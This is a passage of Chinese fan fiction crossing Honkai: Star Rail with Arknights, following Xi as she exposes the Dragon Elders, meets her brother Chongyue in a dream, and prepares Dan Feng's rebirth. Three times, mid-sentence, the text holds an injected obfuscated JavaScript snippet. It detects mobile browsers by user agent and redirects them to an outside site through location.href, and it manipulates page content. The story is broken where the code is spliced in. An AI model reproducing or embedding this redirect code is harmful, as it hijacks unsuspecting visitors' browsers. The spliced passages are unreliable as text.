洵奚泪眼汪汪地向外看着:“夕姐夕姐,你还记得吗?以前你还带我偷偷溜出汤海出去玩来着。” “夕姐,送我们回去吧。”秋月摇摇头,阻止了夕想要放他们出来的动作,“我知道夕姐你最心软了,不忍心我们在深海沉眠就默许了我们待在你身上,可是……这对你的负担分明也很大。” “更何况我们也一直在影响你……我们会愧疚的。”洵奚简直快要哭出来。 夕沉默良久:“好。” 卷轴破裂,数不尽的身影从中浮现,受到牵引飞向另一片海。 “小崽子们!记得听夕姐的话!”残魂们只来得及嘱咐上一句话。 夕目送他们的身影消失,转头还没来得及说些什么,就先看见了持明们可怜兮兮地看着她。 这熟悉的心塞感……夕像是本能似的揉了揉一个持明的脑袋:“好了好了,接下来听我的……” 8. 在崩铁的第8天 画卷里的持明刺客们既然知错又肯改正,那么也不需要继续在充斥着威胁的海水中继续待下去了。夕便将他们送去了山间的镇子里。 这么多的持明集体涌入镇子的动静瞒不过暂居的丹枫,他听持明们七嘴八舌地讲述这些事,满心满眼都是一个问题:他真的只是离开了四个月,不是离开了四十年对吧? “夕姐,我给你写封信吧。”丹枫沉吟一段时间,很快就有了决断。他看龙师不爽很久了,但是奈何他的权力最多略微盖过他们,彻底压下去着实有些难。这次难得有这么好的机会,不把他们一网打尽实在可惜,他无法出面不要紧,在背后帮上些忙就好。 信件内容短促,却明显展示出他的态度和想法。丹枫将信递给了夕:“夕姐也见过我的下属,交给他就好。” “那个……”心虚的声音从一旁传来,是一个年纪小些的持明,“您的下属里面……” 吞吞吐吐的声音并不妨碍丹枫理解话中的意思,他止住了持明的话头:“我知道。”他确实默许了龙师安插进来一些探子。刚好也方便了他透露些假情报,方便他更好地和龙师对峙。 他和持明刺客们核对了一下双方知晓的东西,又跟夕确定了接下来的计划,然后就一头钻进屋子里去联络其他几位龙尊——没错,夕的画卷里居然有网。 夕没去找需要整理思绪的丹枫,她提笔绘出几栋屋子放在镇子另一头,中间施加针对持明的阻隔。若是她的画卷里只有丹枫还好,可是如今应星和景元还住在这里。至少还要再瞒上两个月的时间。 她还要忙很多的事情。 持明刺客们确认背叛龙师后就毫不犹豫地把自己知道的事情一五一十地说了出来,里面包含的信息太多,她一个人还真有些处理不过来。 不过既然已经知晓了证据所在的方位,那么接下来要做的事情就简单多了。 获取证据,上禀将军。 如果龙师只是对持明内部的一些事情下手的话,哪怕是罗浮的将军亲至也没有资格对他们出手。但是这么多年来看不见复活不朽希望的龙师早就把手伸向了丰饶,只要能拿到这部分的证据,谁都保不下龙师。 夕也从持明刺客那里得知龙师对她的形容一直都是其他龙裔的龙尊。很难说龙师们打的到底是什么样的主意。 想要验证夕的身份其实一点也不难,她只是难得出了一趟门,从鳞渊境到长乐天,又从长乐天回鳞渊境。丹枫离开前托长乐天一家铺子帮夕设计几套衣服,如今也大约到了该去取的时间。她要借此机会表明自己的身份。先前不说是因为她觉得麻烦,如今要是再不说,恐怕麻烦还要更大些。 成衣铺的店长惊叹地看看夕身后跟着的自在,只当没看见。夕和腾骁已经通过气,也就托镜流借裁衣的说法来这家铺子嘱咐过店长。 “您看看这些设计图您是否看得上,要是有什么意见也可以提。”不顾身后设计师的怒视,店长问的理直气壮。他是狐人嘛,他们狐人喜欢长得漂亮的人多正常,给漂亮美人好待遇更正常。 夕摇摇头:“不必更改,现在就已经很好了。”她善绘画也喜爱绘画,极为厌恶那些有着门户之见自恃自己品味好的人了,所以也不会允许自己来当这样的人。 “好的,那您需要我们提供制作服务吗?”店长只是常规询问一下,谁人不知持明龙尊的衣服从来都是持明自己做的?据店里的记录来看,有几回饮月君年幼时偷跑来订做的衣服,那可是一次都没穿成。 “不必了。”夕提笔挥毫,直接将成衣绘出。又是寥寥几笔,成衣便落入袋中。她的作风向来如此,哪怕这回不需要展示自己力量,她也会选择自己把成衣画出来。 自在高冷地瞥了眼目瞪口呆的店主,顶过袋子,跟在夕后面走了。 被交代来当托的狐人拽了拽店长的袖子,故意用大嗓门说道:“爹,我没记错咱这边的持明用的都是云吟法术吧?也没见过饮月君用云吟法术制造过东西啊?”天哪天哪!他今天被喊出来休假来演戏,他自己都觉得自己脸上臊得慌! 店长回过神来直敲狐人脑袋一下:“慎言!都当上云骑军了还不知道什么能说什么不能说?不过确实,我看那料子被画出来比织出来的布都好!”像是光顾着数落孩子没注意似的,他最后一句话比前一句话声音大多了。 夕的身份愈加成谜,为了避免引来窥探,她真正的身份是没办法彻底透露,但是传上些似是似非的谣言还是可以做到的。 既然有了这些谣言,自然也会有来到夕求证的持明。持明们是被龙师忽悠了,但是他们也并不傻。如果谣言是假的,那么龙师自会反驳,但是既然龙师们顾及着夕的力量没有驳斥,那就说明了谣言是真的。 龙师不敢反驳,又有有心人推波助澜,只是短短几天夕的身份就在罗浮持明当中传了个遍。持明在龙师的影响下对不朽的态度是绝对的崇敬,既然夕和不朽有比现存的龙裔和不朽更亲密的关系,他们自然而然会选择更亲近夕。 夕没有理会带着仰慕神情的持明们,她还要找出足够的证据来。 又要比对着刺客那里得来的情报寻找证据,又要准备把龙师抓个现行,夕这段时日可算是忙得不得了。她总觉得自己跌进了丹枫给她挖的坑里,可是面对自己家的小辈自己也没办法说什么,只能暗自决定在此事了解后要好好在画卷里休息休息。 自在在罗浮亮相过后,夕就把墨魑们放出来了一部分,让他们在鳞渊境自由的游荡。这不刚刚好,墨魑在半夜恰巧逮到了对濒临蜕生持明下手的龙师晔奚。 大口喘息着的持明拼着最后一丝力气一拳打到了晔奚头上,他用尽最后一口气大喊道:“晔奚想取我的血制药!”语毕,他又强撑着等看到巡逻的族人前来才放弃了抵抗,任由鳞片缠上身体,自身化作雪白的持明卵。 妒在晔奚身上缠得更紧了些,状似无辜地摆了摆脑袋把摄像头吞进肚子里,它什么都不知道哦。它只知道夕让它来这边守着,看见想对小崽子们下手的持明就上去阻止而已。 此时的夕在书房里少见地点着灯,看上去只是在处理堆积的公文。通报的持明一路畅通到了她的跟前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201024|165707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慌乱地说起晔奚取持明髓一事。 “晔奚是龙师。” “那么先把龙师都控制起来吧。” “还有……立刻上报将军!”夕的眸子里像是带着火光,“既然是取持明髓制药,那么这药想必不是给持明用的。此事重大,立刻上禀腾骁将军!”她哪怕暂时没有在这个世界生活的记忆,那些记忆给她留下的痕迹也不会消失。就如同此刻这般,她的心中确实燃烧着怒火。 持明刺客们早就换上了护卫的装束,一个个从画卷中跃出,带着夕的造物们奔赴龙师藏匿物品的地点。 夕知道龙师们面临这种情况一定会选择单独把晔奚推出去,并且销毁证据。所以她这些天晚上带出画卷的造物是偷闲、小躁和遮目。偷闲负责挡门,小躁负责对付龙师,遮目只要一门心思往前冲把龙师都冲倒就好。 为了避免自己的造物受伤,夕还专门为墨魑们都披上一层薄薄的不朽的力量。这样子任凭龙师再怎么闹腾,都不怕墨魑出事了。 腾骁带着云骑军来得很快,几乎是龙师们前脚刚被抓起来汇在一起,他后脚就到了鳞渊境。 夕正拿着一个厚厚的纸袋子,从中取出信件翻阅。 真是大胆……说不清胸膛中徘徊的究竟是愤怒多些还是失望多些,夕强忍着攥紧信纸的冲动,一点点往下阅读,最后停留在其中一页。 “将军。”夕递过信件,“我记得这是丰饶民那边一位首领的名字。” 腾骁接过厚厚一沓信件,没看几眼就气得怒火中烧。他是知道仙舟内部有叛徒,但是他没想到叛徒在持明的龙师中有这么多。看看这些信件末尾的名字!那么多云骑的好儿郎就因此丧了命! 作为将军,冷静是必修课。他冷冷地看着龙师,问:“证据确凿,可有异议?” “你有什么证据?”哪怕再怎么危机的场合,还有龙师在解释着,“我与他们并不是同一……” “弗要闹了。”是叹息是无奈,一些龙师辩解的话语被堵在了喉咙里再也说不出来。他们看着夕看他们的眼神,像是在看家中犯了错事又胡搅蛮缠的小辈。 自在衔来更多的书本,一册又一册叠在一起,高高地摞起来快比得上夕的身高。 抬手按住想要继续取来证据的自在,夕起笔给龙师画上约束力量的镣铐,她看向腾骁:“送他们去幽囚狱吧。这不是持明内部的事务了。这些证据我会送去神策府。” “至于你们……好生认错吧。”夕唤回还徘徊在外面的墨魑们,众多的墨魑陪伴在她的身旁,像是感觉到她的情绪一般,又是蹭蹭,又是抱抱。 其中一只妒像是献宝似的靠在偷闲身上指着肚子。 夕猛地脸色严肃了起来:“你把什么送进肚子里了?”她感觉到妒的组成部分有些不太对劲。墨魑们以墨水作为食物,乱吃东西可要不得! 夕把手贴上妒的肚子,引导着些许墨水把摄像头拖出来,她看着手心还在运行的机器,无奈地柔和了表情,伸手摸上了妒的脑袋。经这么一闹,她的这些情绪可真的是硬生生被冲散了许多。 9. 在崩铁的第9天 有关龙师的判决夕并没有插手太多,毕竟证据确凿,没有人能保得下他们。 长生种对于时间的概念令人发指,对夕来说也确实如此。她虽然也是长生种,但她记忆中生活的地方是泰拉,平日中会接触到的长生种数量只能说是寥寥无几。朝廷对他们这些巨兽碎片管理得也是严格,平日里想见一面都是难上加难。而她昔日的朋友或者说可以称之为老师的他们一个接一个地离去,最终只剩她和她的墨魑们生活在画中。说是孤独,却也并非如此。只是过去若是说还有着见面的可能,如今跨着世界,哪里好见面呢? “夕姐?”丹枫得了夕的应允,可以在不用询问夕的情况下出入画卷。而现在他刚刚步入画卷,就看见夕独自依着树望月。 茫茫的大漠当中一小片绿洲偏偏立在那里,像是嵌在黄金中的绿宝石那般夺目,夕就站在绿洲中央的树丛中看着天上的两轮明月发呆。 “怎么了?”夕回过神来,偏头看向丹枫。 “龙师那边审出来的东西很多,连带着方壶、玉阙、曜青和朱明那边也牵连了不少,还有丹鼎司……”丹枫有些犹豫。他回来的时候距离龙师被捕也不过刚过去一个月,而他回到罗浮也已经过了两月,这两月的时间里夕一直待在画卷里不曾出门。就连许多小持明都大着胆子来找他问夕怎么了,是不是被龙师的所作所为伤到了心。 “夕姐。”丹枫说不清是他自己的情绪还是雨别的情绪,总之他确实对夕很是担忧。他总觉得夕不是像持明们所说是被伤了心,而是在思念着什么。 “嗯。” “我想要废除龙师议会。”他打算提一些东西来转移夕的注意力。 “你是现任的饮月君,你决定就好。”夕不再看向丹枫,她扭过头去,继续望着天上的两轮明月。她无法否认她有些想家了,上次和兄姐们还有小弟见面是多少年前的事情了?有三百年吗? “夕姐?”夕姐是不是根本无所谓持明中会发生什么? “怎么了?” 丹枫算是看出来夕只是单纯对这些事情没兴趣罢了,他决定直接步入正题:“你这些日子一直待在画卷里,不会寂寞吗?”是因为觉得吵闹而一直待在画卷里面吗?要说清净的地点他也知道许多。 “丹枫。”夕依旧望着月亮,“我有很多事情记不得了,但是有相当漫长的时间,我一直在画卷里。对于外面的世界,兴致尽了。” 丹枫犹豫着还是离开了,他总觉得夕和其他人不太一样,她像是有一股游离于世界之外的气质在身。他总疑心夕会在他看不见的时候悄然离开,谁也不告诉,谁也不知道。 长长的龙尾在身后肆意拍打着,显示出主人心情的不愉。 也不知道时间过了多久,夕算是看够月亮了,沙漠转瞬间又成了一座城池。说不上这座城到底精不精致,但总归是坚实牢靠的,城外是黄沙漫天与些许模糊的巨影,城墙上是坚定的驻军。这是玉门城。 她在画卷海底见过带着大哥权能气息的巨龙,如今想家了第一时间想起来的也是大哥。很难说她对大哥有什么过多的看法,她思念是真的思念,但是不敢见也是真的不敢见,如果有一日真的见到了怕也是上次那般在画中相见吧。 只是大哥可千万别把她的画给毁了。 她是画过玉门城的,东往西来误入她画卷的人说多不多,说少也不少,总有几个见过玉门。她兴致来了,就添上两笔,兴致尽了就放下笔墨。只是说要毁去的时候却也舍不得,这座稀奇古怪的城也就这么在她的画里留了下来。若是大哥或是令见了怕是要说她画的不准了。毕竟她画中的玉门可是真的乱七八糟什么都有。 哪怕是年的话她也有些想念了……不,年的话还是算了,黍姐的话倒是还好。年她太过闹腾,又总喜欢拍些稀奇古怪的东西,还非得缠着她让她帮忙做些电影布景。大哥和黍姐倒是一个性子,都喜欢念叨,她喜欢待在画卷里哪里不好?总是要好过臭棋篓子到处拆迁吧?还有背着所有人偷偷摸摸做事的绩。也不知道小弟进来过得怎样,还有长居京城的那位姐姐如今又是如何了…… “夕?你这回画的玉门倒好,我记得这铺子得是很久之前的了。”声音里包含的是浓浓的怀念。 夕的思绪一下子就中断了,她猛地转头,映入她眼帘的可不就是重岳? “大哥……”夕难得有些慌乱,她从来不在画卷中画自己的兄弟姐妹的,这个大哥从哪里来的?她什么时候画过重岳了? “夕妹这是怎么了?”重岳端着一副笑脸看她,目光柔和,和几百年前别无二致。 夕猛地上前一步,她是不相信她的兄长可以跨越世界来到这里的。这是哪怕是曾经的巨兽都难以做到的事情,更别提只是巨兽的十二分之一的他们了。 “大哥?”是真的大哥?她感受不到属于重岳的权能,如今站在她眼前的是一个彻彻底底的普通人,最多也就是身体格外的健康。可是这眉眼间的却又是她熟悉的那位兄长,就连神情都别无二致。 “夕妹。”重岳看出来他的小妹妹是在确认着什么。说来也是,他们这么久未曾见面,他又给自己捏了这么一副属于人类的躯壳,这次相见还是在梦中,有些不相信也是正常。只是这时间上有些难了,令说了这梦维持不了太久。他还想和夕多说上几句话。 她记得重岳给自己添了一副普通人类的躯壳,把权能都封印在了一把剑中。 等等,这不是纯粹的她的画。她不记得自己画过这样的城池,这些屋舍店面远比她画的古朴。她的画……不,这是一场梦,一场独特的梦。 “是令。”夕确信地说道。 重岳点点头道:“令突然找到我,说留在你那边的东西不太对,希望我能通过梦来看看你。”令倒是想亲自过来,但是她说有东西在排斥着不让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201025|165707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来,她也就因此专门找上了他。他的真实身份可不仅仅是岁兽的十二枚碎片之一,他也因此借助权能可以通过。虽然说应付朝廷那边有些麻烦,可是他身为大哥怎么可能对自己的弟弟妹妹们不管不顾呢? “我没事。”夕用力眨了眨眼睛。 重岳从一开始便看出来夕身上除了多了些力量什么事都没有,那股力量对夕也是没什么害处。不然他早就亲自上手了,哪里会等夕自己确认。 只是他这妹妹现在究竟是身在何方?重岳的眼中闪过一丝忧虑,藏得很好,没有让情绪正波澜起伏的夕发现。他可以确定,夕现在绝对不身处泰拉。若是在泰拉,哪怕相隔距离再远,令都不可能被那么拒绝入梦。他来到这里甚至还是动用权能打碎了一些东西才顺利过来的。 “夕妹,令的梦持续不了那么久,我可能要先走了。”重岳看着心思全都写在脸上的夕也有些不舍,他和他的弟弟妹妹已经许久未曾见过了。自他常驻玉门城以来,相处较多的也只有令。令离开后,他也许久没见过这些弟弟妹妹了。也不知下次相见又该是多少年后了。 剧烈波动中的梦有些虚幻,时隐时现。夕知道又到了说再见的时间。 夕趁着最后的时间毫不犹豫地把自己力量在重岳身上留下了一部分。她需要一个能为她引路的坐标。 跨越世界的路会很难走,但是她也是真心实意地想要回到那片大地上去,她确实思念着她那些长久未曾见面过的亲人们。 梦境最后破裂的刹那,夕恍惚间看到了一面墙上的一个洞,洞外是五彩斑斓的漆黑一片,晦涩难懂也充斥着她尚且不知道的种种危险。 她的兄姐因为担忧她的安危可以做出那么大的努力冒着那么大的风险……她又为何不可自己去拼一把? 她在这个世界留下的画可以作为她在这里留下的锚点,再加上不朽的力量进行辅助,说什么都有着回来的机会。 站在城中的夕闭上眼睛,她感受到了,自己的力量移动的轨迹。顺着这轨迹走下去,想必可以离泰拉近一些吧。还有更多的……需要出去才能感受到了。 画卷外的丹枫就这么看着自己怎么都请不出来的姐姐踏出了画卷。 “夕姐?” “丹枫,这副画我不会收走,日后若是有什么事可去画卷中寻我。画中有时找不到我也不要紧,有什么事写在纸上,放林间那屋子里。”夕细细地嘱咐着。 “你要走了吗?”丹枫心里一紧,所以果然要离开吗? 夕摇了摇头:“还要过些日子才走。我要去寻我的兄弟姐妹们。放心好了,这画卷留在这里,无论是什么时候我都可以回来的。” 丹枫还是止住了挽留的话头。既然只是寻亲,又并非再也不归来。他也没有必须阻止夕离开的理由。只是趁着这些时日,他还是想多和这位来之不易会以平等的态度和他相处的长辈再多待会儿。 10. 在崩铁的第10天 罗浮进行判决的速度不是很快,不过在仙舟上的持明一族都盯着这件事的重压之下,十王司也加起班来,不过一年时间就把龙师的罪名全部判得清清楚楚。所以夕在测算坐标的中途又去帮忙让龙师全部蜕生。毕竟如果只让五位龙尊上阵,怕不是要忙到猴年马月。 丹枫有心在夕身边多待一段时间,享受来之不易的亲情,不过龙师不在后繁忙的公务让他没多少时间达成所愿。 夕终于看不下去每天挂着两个黑眼圈神情飘忽的丹枫了,她强行把丹枫带去休息,亲自上阵和仙舟的元帅和将军们商量出一套持明一族运行的方式。持明一族哪怕说是人少,其实也只是在仙舟人和狐人数量的衬托下显得少罢了。尽管持明一族把部分权力交还给了仙舟联盟,实际上要处理的工作依旧不少。 夕耐着性子又处理了几天工作,在持明适应了新方式后才终于有了完整的时间进行自己的事情。 测算出来的坐标经常有误。夕抛去一卷纸,头疼地看着堆满了桌子的数据记录。她可不擅此道,平日里也很少和这些数字打交道,让她一上来就进行这么难的计算着实是太难为人了。 烦心地把废弃的错误数据找出来一点点捋着看哪里不对,然后把它们一口气全部销毁掉。龙尾烦躁地四处抽打着,足以看出主人的心情究竟如何。 不知道第多少次归纳面前的数据,夕闭上了眼睛。她的兄长必然是感受到她留下的力量,然后又亲自进行了加固,否则哪里会这么清晰?隔着不知多么遥远的距离,权能在她的身体里不断涌现,与远方的力量遥相呼应。 手中的长剑作为指针,青色的力量化作方向盘漂浮在剑下,青色兀的浓郁起来,化作长线落在剑上,她一点点地转过去,猛地睁开眼睛。找到了!这个方向对应的坐标被迅速记录下来,夕比对着先前的坐标再一次开始计算。 她早就发现坐标在不断变动,若是她贸然前去又不知道坐标变动的规律,极为容易走错地方。她也因此开始计算起来,寻找着两个不同的世界间相互移动的规律。 只是计算出来的结果总是让人失望罢了。 夕垂下眸子,坐在椅子上没有吭声。先前计算出来的数据此时也被拿了出来,总共十一份。这些数据只显示出了一个道理,那就是没有规律。 坐标在不断地变动,数据显示出来两个世界间的距离时长时短。 再多想一想,夕。她这么对自己说道。静下心来好好想一想有什么地方不一样。 不一样的除了坐标和数据还有什么……还有她对于坐标感知程度的清晰?这个可以算吗?她迟疑地陷入思考,仔细想来,她在感知时时会感觉到有什么东西在阻碍着,不是刻意,而是偶然。而那些东西给她的感受又飘忽又确定,像实际存在,又像根本不在。会是什么呢?有什么可以在世界中的空……她明白了!是其他世界! 那她是不是可以一点点往前慢慢走?说起来其实她自己也没把握能够一次性成功回去。但是如果一点点地跨越过去……这倒是让成功的概率增大了些许。 值得一试。不过在此之前她最好还是先调整好状态,然后至少要和丹枫告别。 抬脚迈出画卷,夕正想和正常情况下都待在书房的丹枫提一嘴,就看见面前正有个持明族人单独候着。 “丹枫在哪儿?”去找他那四个朋友出去玩了? “龙女大人,丹枫大人上战场了。” 战场?确实,丹枫也会随军上阵。不过这个时间点的战场?夕总有种不详的预感。是什么?她总觉得自己忘了些非常重要的东西。 “您放心好了,这次除了那位百冶以外,云上五骁中的四位共同出动,想必不会出什么事情的。” 尽管是被安慰了,夕心中不安的感觉确实愈演愈烈。她不禁皱起了眉头。她记忆中什么和战场有关吗?云上五骁?等等!是那个!她想起来了!是那场战役!说起来时至今日那件事情仍未发生。 夕沉默了一会儿,转身回了画卷。 她记得她交给白珩的画卷她并未收回,丹枫也提过白珩很喜欢那画,知道画卷水火不侵不染尘土后又天天带在身上。力量翻滚起来,她找寻着那幅画卷。她并不知晓那件事情什么时候会发生,因此倒也没多做些什么,只是给那幅画卷增加了一个功能——感知到持有者有生命威胁的时候会把持有者带进画卷里。 这样就足够了吧?不对,她还记得在那场战役中丹枫会陷入龙狂。想起来饮月君那堪忧的精神状态,夕陷入了诡异的沉默,这个她真没办法。不过倒是可以拜托景元,不需要别的,她绘一幅画出来,让景元在画卷里帮忙稳定丹枫的自我认知就好。 如果用“饮月君”比作岁兽,丹枫比作他们,那丹枫的精神状态大概就是在随时随地可能回归岁兽的底线上蹦迪吧。 抬笔作画,夕为丹枫画了汤海,只不过这次的汤海黯淡无光,只有出现在里的生命得以明亮如初。 接下来……夕出了画卷,嘱咐待在书房的持明:“丹枫一回来,就直接去画卷寻我就好。” 只是最糟糕的结果究竟还是出现了。 “夕姐!”眼神无助而迷茫,他捧着画卷一言不发。 抬手抚上丹枫的眼睛,夕问道:“你是谁?” “我是谁?”迷茫的眸子里似乎闪过了很多一模一样的人影,同样的神情,同样的动作,但是他们有着不一样的名字。 “景元,跟我来。”夕拉过景元带着丹枫进了画卷。 “我不知道什么时候会离开,所以未来如果出现这种情况,就拜托你了。”没有拜托镜流,因为镜流不知道是否会走上曾经的老路,没有拜托白珩,因为白珩尚且伤重未醒,没有拜托应星,因为应星的寿命与持明相较太过短暂。只能拜托你了,夕的眼中闪过一丝愧疚。 “你是谁?” 沉默,良久的沉默。 “你是谁?”不厌其烦地询问。 夕耐心地一点点帮助丹枫找回真实的自我。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201026|165707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我是饮月君丹枫。”这一代的饮月君艰难地找回了自己。 他有些想哭,但还是强撑着自己:“我撑不住了,夕姐。” “我知道。”夕托起丹枫的双臂,“我会为你护法蜕生。” “不、不是……我想用化龙妙法。”丹枫的眼神中隐隐透露出一丝渴望。他被困于此多少年了?自雨别开始又过了多久? “好,我会帮你。” 尚且伤重的丹枫得到承诺昏了过去。 “夕姐?”景元颤巍巍地想要接过丹枫,他也受了不少伤,只是见识过夕力气大小的他生怕丹枫会摔在地上。 自在不知何时游了过来,负起丹枫。 “出去吧,镜流他们应该等得急了。”夕垂下眸子,“出去之后去告诉镜流和应星,丹枫要找死。” 景元忍不住瞪大了眼睛,什么叫丹枫哥要找死!回来的路上对丹枫精神状态有了一定感受的他觉得简直了!白珩姐刚出事没多久,丹枫哥就也不行了? 一瘸一拐的走着,注意力不集中光顾着胡思乱想的景元险些摔了一跤,还是阿咬们把他推着出了画卷。 带着丹枫回到鳞渊境,夕并没有告知持明一族丹枫陷入龙狂的事情,她只是召来一些闲暇的医者帮着处理丹枫的伤。 丹枫醒后第一件事就是挣扎着起身要找夕去施展化龙妙法。不过他没料到一推门就看见三个人气势汹汹地看着他。 “应星?镜流?景元?”丹枫感到疑惑。按理说这么一场大战刚刚结束,他们都身处要职绝无空闲的机会。今天怎么全都聚过来了?难道是因为他的龙狂?啊……说起来也是,他们都在也刚好,让他稍微暗示一下,不然一下子接连失去两个好友…… “醒了?”夕找了张桌子坐在门前处理公务,听见声音头也不抬。 丹枫犹豫着看向夕。 “你的那个方法绝无实现的可能。施展后,饮月君还是饮月君,传承、记忆和力量都是一样的,最多外貌发生了变化。” 丹枫的眼神像是火光熄灭一样暗了下去。 “不过你还可以选择只转移传承。”夕心软极了,“我手中有一份多余的力量,这份力量偏向治愈。我可以给你封印那些过多的记忆,只不过只能在蜕生为持明卵期间施展,而且只管用一个轮回。” “好。”丹枫闷声点了点头,他还是想要复活白珩。 “还有……”夕想起来她有什么事情忘记说了,“白珩没死,她现在就在我的画卷里。” 四双眼睛震撼地望向她。 “只是白珩如今伤重尚在沉睡。这件事尚且只有我和腾骁知道,不要外传。” “丹枫你可要想好了,你想做这件事,我认为你至少要亲自问问她的想法。” 景元多聪明啊,他结合着夕和丹枫的谈话,瞬间就想明白了一切,他倒吸一口凉气:“丹枫哥你想让白珩姐当龙尊!”声音中满是不可思议。 三双眼睛盯住了丹枫。 11. 在崩铁的第11天 丹枫迟疑了,他深知自己的做法在仙舟人眼里是多么的离经叛道,在持明龙裔眼中又是多么的大逆不道,因此这想法他除了告诉应星外就再没有跟别人讲过。 如今被知道了……他苦笑,他又怎么不知道自己的做法是错误的呢?可是他真的撑不住了啊,夜里他梦到的都是一个个模样相同却也隐隐不同的饮月君。甚至于他有时见到曾经那些饮月君的故人后裔时,心中都会浮现出那些不认识的人的名字。他要分不清自己是谁了。 被敲了脑袋。画卷敲打在脑袋上分明一点都不疼,却切切实实地敲醒了他。 他听见一个柔和软糯的声音在问他:“你是谁?” “我是……丹枫?”他捂住了脑袋,眼神里透露出不可思议,“我在……干什么?” 龙狂后的副作用让他难以保持着自己的理智。 镜流深知丹枫想法的错误,但是面对这般模样的朋友,她很难说些什么。 “按你的想法让白珩成为龙尊不可,不过让新的龙尊身上带有她的血脉倒是没什么大碍。”夕意有所指,她想到了原著中的龙尊白露,很多人都猜测她是白珩转世,但是事实究竟如何并没有人知道。她在冥冥中有一种预感,不能大幅度更改原本的世界线,她付不起更改的代价。 “有的事情必须要发生……但是至少我们可以给这些事情一个较为完满的结局。”夕隐晦地解释着。她想想身为不朽后裔又身怀异世权能的自己,又看看除了初入罗浮时遭遇的巡猎星神外再没有被其他星神注意到的情况……这又何尝不是祂们对于被禁锢于命运线无法挣脱的自己的补偿呢? 白露必须要诞生,但是不一定必须是白珩转世。 同样的道理,刃必须要诞生,但是应星不一定要堕入魔阴身。 她看着眼前还在记忆中徘徊纠结的丹枫,心软了:“化龙妙法就由我来主持吧。”她会努力达成一个较好的结局的。或许也说不上是多么圆满……不过至少会比那个先有饮月之乱,后有镜流堕入魔阴的结局要好。 “好。”声音沙哑,丹枫疲惫地闭上了眼睛。因着亲朋好友都聚在身边,他放心地倒了下去。 景元上前一步接住了倒下的丹枫,慌乱地看向夕:“夕姐……” “他的记忆很混乱,龙狂加剧了他精神的崩溃。”夕把手按在丹枫的额头上,缓慢地输入着不朽的命途力量,“他撑不了多久。” “详细的事情我都不能说,但是新的龙尊诞生是必然。”看着丹枫神色稍缓,夕收回了手,“必须尽快让他蜕生。”再拖下去,出现在她眼前的丹枫甚至会直接追溯到雨别也说不定。 接过丹枫把他放到床上继续休憩,夕看着三人离去的背影,默不作声地往一只阿咬的怀里塞了一封信。阿咬们早就实现了暗渡陈仓,它们光明正大地衔着画卷在景元家里安了新家。现如今有些不方便明说的消息拜托阿咬们传递也是极好的。 至少可以不让倏忽发现。 夕好说歹说也算是不朽的令使,倏忽血肉在进入罗浮的那一瞬就被她发现了。刚刚应星身上隐隐约约萦绕着的力量也足以显示出倏忽没死透,甚至还在不断影响着身为百冶的应星。提到这她就忍不住嫌弃仙舟的长生种,忌惮嫌弃应星天赋就罢,甚至还不将工造司彻底交予应星掌管,也怪不得倏忽盯上的是应星,谁会不喜欢一个很少有人注意到的棋子呢? 景元会帮她盯好应星的。 小将军虽然还年幼,远比不上未来运筹帷幄于千里之外的神策将军,但是人的本质是不会变的,夕相信景元有这份能力。 只是接下来她要好好研究一下如何使用化龙妙法以及如何运用不朽创造生命了。未曾被冠以尊号的龙女只觉得头疼万分,她轻叹一口气,坐回桌前继续处理着公文。 月余,白珩苏醒。 这一个多月来,夕可是只觉得心力交瘁,精神状态彻底放飞的丹枫实在是太难带了。持明们不知道真相,只当丹枫是想等朋友苏醒后进行告别再蜕生,又联想到饮月君每一世都被龙师迫害,一个个地都惯着丹枫,称得上是要星星就给星星,要月亮就去摘月亮。这可苦了夕,一边处理工作,一边研究化龙妙法,一边还要盯着丹枫避免他到处撒欢又提前说漏了嘴。 要是被倏忽提前察觉,那可就大事不妙。 不过还好,白珩在夕的耐心耗尽之前醒了。 短暂的交谈后,白珩同意了把自己的血混进去的方案。狐人少女的笑容一如既往地爽朗,她深知夕的性格绝不会主动做一些匪夷所思的事情,也从只言片语中了解过夕的实力。既然这位颇有方寸的龙女要做出这样的选择,那必然是非做不可。 就当她多了一个血脉相连的至亲,白珩俏皮地眨眨眼睛,又反过来安慰自己的四个朋友。 最终站在鳞渊境的是六个人。 夕和丹枫两个持明使用仅有龙尊知晓的秘术,而其余四人隔着山石和水波在外护卫。 夕非常谨慎地从丹枫身上复制出一份饮月君传承,从中剔除了一些不合适的部分,又取出画卷中储存的不朽力量,两者相结合在一起,又再上白珩的鲜血。古老的术法被施展,一颗雪白的崭新的持明卵即将诞生于世。 